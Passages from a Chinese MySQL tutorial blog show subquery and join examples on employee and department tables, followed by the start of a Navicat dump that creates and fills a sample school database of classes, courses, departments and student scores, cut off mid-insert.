使用子查询查询"销售部"的员工信息SELECT * FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '销售部'); B. 查询在”方东白”入职之后的员工信息先找出”方东白”的入职日期,然后查询所有在此日期之后入职的员工. 12345-- 查询"方东白"的入职日期SELECT entrydate FROM emp WHERE name = '方东白';-- 使用子查询查询在"方东白"之后入职的员工SELECT * FROM emp WHERE entrydate > (SELECT entrydate FROM emp WHERE name = '方东白'); 注意事项 子查询在括号内执行,并返回单个值,供外部查询使用. 确保子查询返回的是单个值,否则会导致错误. 子查询可以用在SELECT、FROM、WHERE等子句中. 列子查询子查询返回的结果是一列(可以是多行),这种子查询称为列子查询.常用的操作符:IN 、NOT IN 、 ANY 、SOME 、 ALL A. 查询”销售部”和”市场部”的所有员工信息要查询两个部门的员工信息,可以先找到这两个部门的ID,然后在员工表中查找. 12345-- 查询"销售部"和"市场部"的部门IDSELECT id FROM dept WHERE name = '销售部' OR name = '市场部';-- 根据部门ID查询员工信息SELECT * FROM emp WHERE dept_id IN (SELECT id FROM dept WHERE name = '销售部' OR name = '市场部'); B. 查询比财务部所有人工资都高的员工信息寻找所有财务部员工的工资,然后比较其他员工的工资是否都高于财务部的. 123456789-- 查询财务部的部门IDSELECT id FROM dept WHERE name = '财务部';-- 查询财务部所有员工的工资SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '财务部');-- 查询比财务部所有人工资都高的员工信息SELECT * FROM emp WHERE salary > ALL (SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '财务部')); C. 查询比研发部其中任意一人工资高的员工信息找出研发部所有人的工资,然后查询工资高于研发部任一员工工资的员工. 123456-- 查询研发部所有人的工资SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '研发部');-- 查询比研发部其中任意一人工资高的员工信息SELECT * FROM emp WHERE salary > ANY (SELECT salary FROM emp WHERE dept_id = (SELECT id FROM dept WHERE name = '研发部')); 注意事项 在使用IN子句时,子查询可以返回一个或多个值. 使用ALL关键字时,外层查询的结果必须大于子查询返回的所有值. 使用ANY(或SOME)时,只需外层查询的结果大于子查询返回值中的任意一个即可. 确保子查询与外部查询在逻辑上正确关联,以避免意外的查询结果. 行子查询子查询返回的结果是一行(可以是多列),这种子查询称为行子查询.常用的操作符:= 、<> 、IN 、NOT IN A. 查询与 “张无忌” 的薪资及直属领导相同的员工信息 ;12345-- 这个需求同样可以拆解为两步进行:-- 查询 "张无忌" 的薪资及直属领导select salary, managerid from emp where name = '张无忌'; -- 查询与 "张无忌" 的薪资及直属领导相同的员工信息 ;select * from emp where (salary,managerid) = (select salary, managerid from emp where name = '张无忌'); 表子查询子查询返回的结果是多行多列,这种子查询称为表子查询.常用的操作符:IN A. 查询与 “鹿杖客” , “宋远桥” 的职位和薪资相同的员工信息12345-- 分解为两步执行: -- 查询 "鹿杖客" , "宋远桥" 的职位和薪资select job, salary from emp where name = '鹿杖客' or name = '宋远桥';-- 查询与 "鹿杖客" , "宋远桥" 的职位和薪资相同的员工信息select * from emp where (job,salary) in ( select job, salary from emp where name = '鹿杖客' or name = '宋远桥' ); B. 查询入职日期是 “2006-01-01” 之后的员工信息 , 及其部门信息分解为两步执行:12345-- 入职日期是 "2006-01-01" 之后的员工信息select * from emp where entrydate > '2006-01-01';-- 查询这部分员工, 对应的部门信息; select e.*, d.* from (select * from emp where entrydate > '2006-01-01') e left join dept d on e.dept_id = d.id ; 多表查询案例12345678910111213141516-- 创建薪资等级表salgradeCREATE TABLE salgrade ( grade INT, losal INT, hisal INT) COMMENT '薪资等级表';-- 向薪资等级表中插入数据INSERT INTO salgrade VALUES (1, 0, 3000);INSERT INTO salgrade VALUES (2, 3001, 5000);INSERT INTO salgrade VALUES (3, 5001, 8000);INSERT INTO salgrade VALUES (4, 8001, 10000);INSERT INTO salgrade VALUES (5, 10001, 15000);INSERT INTO salgrade VALUES (6, 15001, 20000);INSERT INTO salgrade VALUES (7, 20001, 25000);INSERT INTO salgrade VALUES (8, 25001, 30000); 在这个案例中,我们主要运用上面所讲解的多表查询的语法,完成以下的12个需求即可,而这里主要涉及到的表就三张: emp员工表 dept部门表 salgrade薪资等级表 . 查询员工的姓名、年龄、职位、部门信息(隐式内连接)表: emp,dept 连接条件: emp.dept_id = dept.id1select e.name , e.age , e.job , d.name from emp e , dept d where e.dept_id = d.id;查询年龄小于30岁的员工的姓名、年龄、职位、部门信息(显式内连接) 表: emp,dept 连接条件: emp.dept_id = dept.id1select e.name, e.age, e.job, d.name from emp e inner join dept d on e.dept_id = d.id where e.age < 30; 查询拥有员工的部门ID、部门名称表: emp,dept 连接条件: emp.dept_id = dept.id1select distinct d.id , d.name from emp e , dept d where e.dept_id = d.id; 查询所有年龄大于40岁的员工, 及其归属的部门名称; 如果员工没有分配部门, 也需要展示出来(外连接) 表: emp,dept 连接条件: emp.dept_id = dept.id1select e.*, d.name from emp e left join dept d on e.dept_id = d.id where e.age > 40 ; 查询所有员工的工资等级 表: emp , salgrade 连接条件 : emp.salary >= salgrade.losal and emp.salary","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-MySQL从入门到精通(中)","path":"/2024/01/30/f480ed3c/","content":"总字符数: 20.67K 代码: 13.80K, 文本: 3.44K 预计阅读时间: 1.25 小时 学生数据表1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147/* Navicat Premium Data Transfer Source Server : 1 Source Server Type : MySQL Source Server Version : 50529 Source Host : localhost:3306 Source Schema : test Target Server Type : MySQL Target Server Version : 50529 File Encoding : 65001 Date: 17/02/2024 15:33:34*/SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;-- ------------------------------ Table structure for class-- ----------------------------DROP TABLE IF EXISTS `class`;CREATE TABLE `class` ( `classno` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `classname` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `speciality` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, `inyear` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `number` int(11) NULL DEFAULT NULL, `header` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `deptno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `monitor` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`classno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of class-- ----------------------------INSERT INTO `class` VALUES ('20060101', '2006级电子1班 ', '机电一体化', '2006', 56, '王军', 'd01', '李婷');INSERT INTO `class` VALUES ('20070101', '2007级电子1班 ', '机电一体化', '2007', 35, '马金玉 ', 'd01', '刘小虎');INSERT INTO `class` VALUES ('20070201', '2007级计算机1班 ', '计算机应用技术', '2007', 42, '马丽', 'd02', '李明明');INSERT INTO `class` VALUES ('20070301', '2007级软件1班 ', '计算机网络技术', '2007', 49, '张亮亮', 'd03', '袁小志 ');INSERT INTO `class` VALUES ('20070302', '2007级软件2班 ', '计算机网络技术', '2007', 48, '孟小娴 ', 'd03', '刘晓雨 ');INSERT INTO `class` VALUES ('20070303', '2007级软件3班 ', '计算机网络技术', '2007', 48, '刘芳 ', 'd03', '袁文晖 ');INSERT INTO `class` VALUES ('20070304', '2007级软件4班 ', '软件技术', '2007', 47, '张萍萍 ', 'd03', '贾子漳 ');INSERT INTO `class` VALUES ('20070305', '2007级软件5班 ', '动漫设计', '2007', 48, '谭国强 ', 'd03', '王勇 ');INSERT INTO `class` VALUES ('20070306', '2007级软件6班 ', '游戏设计', '2007', 39, '张涛 ', 'd03', '王珂珂 ');INSERT INTO `class` VALUES ('20070307', '2007级软件7班 ', '网络系统管理', '2007', 22, '刘永', 'd03', '武英杰 ');-- ------------------------------ Table structure for course-- ----------------------------DROP TABLE IF EXISTS `course`;CREATE TABLE `course` ( `cno` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `cname` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, PRIMARY KEY (`cno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of course-- ----------------------------INSERT INTO `course` VALUES ('a01 ', '大学英语');INSERT INTO `course` VALUES ('a02 ', '高等数学');INSERT INTO `course` VALUES ('a03 ', '思想品德教育');INSERT INTO `course` VALUES ('a04 ', '法律基础');INSERT INTO `course` VALUES ('b01 ', '电工基础');INSERT INTO `course` VALUES ('b02 ', '电子技术基础');INSERT INTO `course` VALUES ('b03 ', '电子线路基础');INSERT INTO `course` VALUES ('c01 ', '计算机文化基础');INSERT INTO `course` VALUES ('c02 ', 'C语言程序设计与数据结构');INSERT INTO `course` VALUES ('c03 ', '软件工程');INSERT INTO `course` VALUES ('c04 ', 'JAVA程序设计基础');INSERT INTO `course` VALUES ('c05 ', 'JAVA高级程序设计');INSERT INTO `course` VALUES ('c06 ', '数据库原理及应用');INSERT INTO `course` VALUES ('c07 ', '计算机网络技术');INSERT INTO `course` VALUES ('c08 ', '网页制作技术');INSERT INTO `course` VALUES ('c09 ', 'JAVA项目实训');INSERT INTO `course` VALUES ('c10 ', 'JSP程序设计');INSERT INTO `course` VALUES ('c11 ', '计算机组装与维修');-- ------------------------------ Table structure for department-- ----------------------------DROP TABLE IF EXISTS `department`;CREATE TABLE `department` ( `deptno` varchar(3) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `deptname` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `deptheader` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `office` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, PRIMARY KEY (`deptno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of department-- ----------------------------INSERT INTO `department` VALUES ('d01', '电子工程系 ', '刘晨 ', '一号楼1208 ');INSERT INTO `department` VALUES ('d02', '计算机工程系 ', '王天亮', '二号楼1102 ');INSERT INTO `department` VALUES ('d03', '软件工程系 ', '胡金亭 ', '二号楼1618 ');INSERT INTO `department` VALUES ('d04', '信息工程系 ', '赵美美 ', '二号楼1006 ');INSERT INTO `department` VALUES ('d05', '社科艺术系 ', '刘英杰 ', '三号楼1621 ');INSERT INTO `department` VALUES ('d06', '基础部 ', '赵军军 ', '三号楼1314');-- ------------------------------ Table structure for sc-- ----------------------------DROP TABLE IF EXISTS `sc`;CREATE TABLE `sc` ( `sno` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `cno` varchar(4) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `degree` decimal(28, 0) NULL DEFAULT NULL, PRIMARY KEY (`sno`, `cno`) USING BTREE, INDEX `a1`(`cno`) USING BTREE, CONSTRAINT `a1` FOREIGN KEY (`cno`) REFERENCES `course` (`cno`) ON DELETE RESTRICT ON UPDATE RESTRICT) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of sc-- ----------------------------INSERT INTO `sc` VALUES ('2007010104', 'a01 ', 82);INSERT INTO `sc` VALUES ('2007010104', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007010104', 'a03 ', 78);INSERT INTO `sc` VALUES ('2007010105', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007010105', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010105', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007010106', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007010106', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007010106', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010107', 'a01 ', 73);INSERT INTO `sc` VALUES ('2007010107', 'a02 ', 95);INSERT INTO `sc` VALUES ('2007010107', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007010108', 'a01 ', 64);INSERT INTO `sc` VALUES ('2007010108', 'a02 ', 95);INSERT INTO `sc` VALUES ('2007010108', 'a03 ', 60);INSERT INTO `sc` VALUES ('2007010109', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007010109', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007010109', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010110', 'a01 ', 77);INSERT INTO `sc` VALUES ('2007010110', 'a02 ', 63);INSERT INTO `sc` VALUES ('2007010110', 'a03 ', 74);INSERT INTO `sc` VALUES ('2007010111', 'a01 ', 72);INSERT INTO `sc` VALUES ('2007010111', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007010111', 'a03 ', 84);INSERT INTO `sc` VALUES ('2007010112', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007010112', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010112', 'a03 ', 91);INSERT INTO `sc` VALUES ('2007010113', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007010113', 'a02 ', 96);INSERT INTO `sc` VALUES ('2007010113', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007010114', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007010114', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007010114', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007010115', 'a01 ', 94);INSERT INTO `sc` VALUES ('2007010115', 'a02 ', 95);INSERT INTO `sc` VALUES ('2007010115', 'a03 ', 87);INSERT INTO `sc` VALUES ('2007010116', 'a01 ', 57);INSERT INTO `sc` VALUES ('2007010116', 'a02 ', 91);INSERT INTO `sc` VALUES ('2007010116', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010117', 'a01 ', 88);INSERT INTO `sc` VALUES ('2007010117', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010117', 'a03 ', 79);INSERT INTO `sc` VALUES ('2007010118', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007010118', 'a02 ', 82);INSERT INTO `sc` VALUES ('2007010118', 'a03 ', 86);INSERT INTO `sc` VALUES ('2007010119', 'a01 ', 55);INSERT INTO `sc` VALUES ('2007010119', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007010119', 'a03 ', 77);INSERT INTO `sc` VALUES ('2007010120', 'a01 ', 90);INSERT INTO `sc` VALUES ('2007010120', 'a02 ', 97);INSERT INTO `sc` VALUES ('2007010120', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010121', 'a01 ', 44);INSERT INTO `sc` VALUES ('2007010121', 'a02 ', 56);INSERT INTO `sc` VALUES ('2007010121', 'a03 ', 60);INSERT INTO `sc` VALUES ('2007010122', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007010122', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010122', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007010123', 'a01 ', 81);INSERT INTO `sc` VALUES ('2007010123', 'a02 ', 87);INSERT INTO `sc` VALUES ('2007010123', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007010124', 'a01 ', 81);INSERT INTO `sc` VALUES ('2007010124', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010124', 'a03 ', 86);INSERT INTO `sc` VALUES ('2007010125', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007010125', 'a02 ', 87);INSERT INTO `sc` VALUES ('2007010125', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010126', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007010126', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010126', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007010127', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007010127', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007010127', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007010128', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007010128', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007010128', 'a03 ', 81);INSERT INTO `sc` VALUES ('2007010129', 'a01 ', 85);INSERT INTO `sc` VALUES ('2007010129', 'a02 ', 93);INSERT INTO `sc` VALUES ('2007010129', 'a03 ', 91);INSERT INTO `sc` VALUES ('2007010130', 'a01 ', 91);INSERT INTO `sc` VALUES ('2007010130', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007010130', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007010131', 'a01 ', 86);INSERT INTO `sc` VALUES ('2007010131', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007010131', 'a03 ', 93);INSERT INTO `sc` VALUES ('2007030101', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030101', 'a02 ', 85);INSERT INTO `sc` VALUES ('2007030101', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030101', 'c02 ', 89);INSERT INTO `sc` VALUES ('2007030102', 'a01 ', NULL);INSERT INTO `sc` VALUES ('2007030102', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007030102', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030102', 'c02 ', 94);INSERT INTO `sc` VALUES ('2007030103', 'a01 ', 76);INSERT INTO `sc` VALUES ('2007030103', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007030103', 'c01 ', 90);INSERT INTO `sc` VALUES ('2007030103', 'c02 ', 96);INSERT INTO `sc` VALUES ('2007030104', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007030104', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007030104', 'c01 ', 88);INSERT INTO `sc` VALUES ('2007030104', 'c02 ', 97);INSERT INTO `sc` VALUES ('2007030105', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030105', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007030105', 'c01 ', 77);INSERT INTO `sc` VALUES ('2007030105', 'c02 ', 93);INSERT INTO `sc` VALUES ('2007030106', 'a01 ', 76);INSERT INTO `sc` VALUES ('2007030106', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030106', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030106', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030107', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030107', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030107', 'c01 ', 82);INSERT INTO `sc` VALUES ('2007030107', 'c02 ', 90);INSERT INTO `sc` VALUES ('2007030108', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030108', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030108', 'c01 ', 72);INSERT INTO `sc` VALUES ('2007030108', 'c02 ', 90);INSERT INTO `sc` VALUES ('2007030109', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030109', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007030109', 'c01 ', 71);INSERT INTO `sc` VALUES ('2007030109', 'c02 ', 86);INSERT INTO `sc` VALUES ('2007030110', 'a01 ', 77);INSERT INTO `sc` VALUES ('2007030110', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030110', 'c01 ', 75);INSERT INTO `sc` VALUES ('2007030110', 'c02 ', 94);INSERT INTO `sc` VALUES ('2007030111', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030111', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030111', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030111', 'c02 ', 85);INSERT INTO `sc` VALUES ('2007030112', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030112', 'a02 ', 66);INSERT INTO `sc` VALUES ('2007030112', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030112', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030113', 'a01 ', 71);INSERT INTO `sc` VALUES ('2007030113', 'a02 ', 91);INSERT INTO `sc` VALUES ('2007030113', 'c01 ', 85);INSERT INTO `sc` VALUES ('2007030113', 'c02 ', 96);INSERT INTO `sc` VALUES ('2007030114', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030114', 'a02 ', 67);INSERT INTO `sc` VALUES ('2007030114', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030114', 'c02 ', 95);INSERT INTO `sc` VALUES ('2007030115', 'a01 ', 76);INSERT INTO `sc` VALUES ('2007030115', 'a02 ', 88);INSERT INTO `sc` VALUES ('2007030115', 'c01 ', 67);INSERT INTO `sc` VALUES ('2007030115', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030116', 'a01 ', 89);INSERT INTO `sc` VALUES ('2007030116', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007030116', 'c01 ', 74);INSERT INTO `sc` VALUES ('2007030116', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030117', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030117', 'a02 ', 68);INSERT INTO `sc` VALUES ('2007030117', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030117', 'c02 ', 89);INSERT INTO `sc` VALUES ('2007030118', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030118', 'a02 ', 85);INSERT INTO `sc` VALUES ('2007030118', 'c01 ', 77);INSERT INTO `sc` VALUES ('2007030118', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030119', 'a01 ', 74);INSERT INTO `sc` VALUES ('2007030119', 'a02 ', 92);INSERT INTO `sc` VALUES ('2007030119', 'c01 ', 77);INSERT INTO `sc` VALUES ('2007030119', 'c02 ', 75);INSERT INTO `sc` VALUES ('2007030120', 'a01 ', 70);INSERT INTO `sc` VALUES ('2007030120', 'a02 ', 91);INSERT INTO `sc` VALUES ('2007030120', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030120', 'c02 ', 87);INSERT INTO `sc` VALUES ('2007030121', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030121', 'a02 ', 85);INSERT INTO `sc` VALUES ('2007030121', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030121', 'c02 ', 80);INSERT INTO `sc` VALUES ('2007030122', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030122', 'a02 ', 78);INSERT INTO `sc` VALUES ('2007030122', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030122', 'c02 ', 83);INSERT INTO `sc` VALUES ('2007030123', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007030123', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030123', 'c01 ', 73);INSERT INTO `sc` VALUES ('2007030123', 'c02 ', 93);INSERT INTO `sc` VALUES ('2007030124', 'a01 ', 73);INSERT INTO `sc` VALUES ('2007030124', 'a02 ', 78);INSERT INTO `sc` VALUES ('2007030124', 'c01 ', 85);INSERT INTO `sc` VALUES ('2007030124', 'c02 ', 92);INSERT INTO `sc` VALUES ('2007030125', 'a01 ', 64);INSERT INTO `sc` VALUES ('2007030125', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030125', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030125', 'c02 ', 91);INSERT INTO `sc` VALUES ('2007030126', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030126', 'a02 ', NULL);INSERT INTO `sc` VALUES ('2007030126', 'c01 ', 89);INSERT INTO `sc` VALUES ('2007030126', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030127', 'a01 ', 65);INSERT INTO `sc` VALUES ('2007030127', 'a02 ', 82);INSERT INTO `sc` VALUES ('2007030127', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030127', 'c02 ', 85);INSERT INTO `sc` VALUES ('2007030128', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030128', 'a02 ', 79);INSERT INTO `sc` VALUES ('2007030128', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030128', 'c02 ', 76);INSERT INTO `sc` VALUES ('2007030129', 'a01 ', 68);INSERT INTO `sc` VALUES ('2007030129', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007030129', 'c01 ', 76);INSERT INTO `sc` VALUES ('2007030129', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030130', 'a01 ', 73);INSERT INTO `sc` VALUES ('2007030130', 'a02 ', 82);INSERT INTO `sc` VALUES ('2007030130', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030130', 'c02 ', 81);INSERT INTO `sc` VALUES ('2007030131', 'a01 ', 66);INSERT INTO `sc` VALUES ('2007030131', 'a02 ', 80);INSERT INTO `sc` VALUES ('2007030131', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030131', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030132', 'a01 ', 82);INSERT INTO `sc` VALUES ('2007030132', 'a02 ', 83);INSERT INTO `sc` VALUES ('2007030132', 'c01 ', 73);INSERT INTO `sc` VALUES ('2007030132', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030133', 'a01 ', 85);INSERT INTO `sc` VALUES ('2007030133', 'a02 ', 67);INSERT INTO `sc` VALUES ('2007030133', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030133', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030134', 'a01 ', 64);INSERT INTO `sc` VALUES ('2007030134', 'a02 ', 80);INSERT INTO `sc` VALUES ('2007030134', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030134', 'c02 ', 71);INSERT INTO `sc` VALUES ('2007030135', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007030135', 'a02 ', 90);INSERT INTO `sc` VALUES ('2007030135', 'c01 ', 76);INSERT INTO `sc` VALUES ('2007030135', 'c02 ', 76);INSERT INTO `sc` VALUES ('2007030136', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030136', 'a02 ', 65);INSERT INTO `sc` VALUES ('2007030136', 'c01 ', NULL);INSERT INTO `sc` VALUES ('2007030136', 'c02 ', 75);INSERT INTO `sc` VALUES ('2007030137', 'a01 ', 69);INSERT INTO `sc` VALUES ('2007030137', 'a02 ', 86);INSERT INTO `sc` VALUES ('2007030137', 'c01 ', 74);INSERT INTO `sc` VALUES ('2007030137', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030138', 'a01 ', 60);INSERT INTO `sc` VALUES ('2007030138', 'a02 ', 80);INSERT INTO `sc` VALUES ('2007030138', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030138', 'c02 ', 86);INSERT INTO `sc` VALUES ('2007030139', 'a01 ', 75);INSERT INTO `sc` VALUES ('2007030139', 'a02 ', 66);INSERT INTO `sc` VALUES ('2007030139', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030139', 'c02 ', 88);INSERT INTO `sc` VALUES ('2007030140', 'a01 ', 70);INSERT INTO `sc` VALUES ('2007030140', 'a02 ', 87);INSERT INTO `sc` VALUES ('2007030140', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030140', 'c02 ', 76);INSERT INTO `sc` VALUES ('2007030141', 'a01 ', 75);INSERT INTO `sc` VALUES ('2007030141', 'a02 ', 63);INSERT INTO `sc` VALUES ('2007030141', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030141', 'c02 ', 85);INSERT INTO `sc` VALUES ('2007030142', 'a01 ', 63);INSERT INTO `sc` VALUES ('2007030142', 'a02 ', 89);INSERT INTO `sc` VALUES ('2007030142', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030142', 'c02 ', 83);INSERT INTO `sc` VALUES 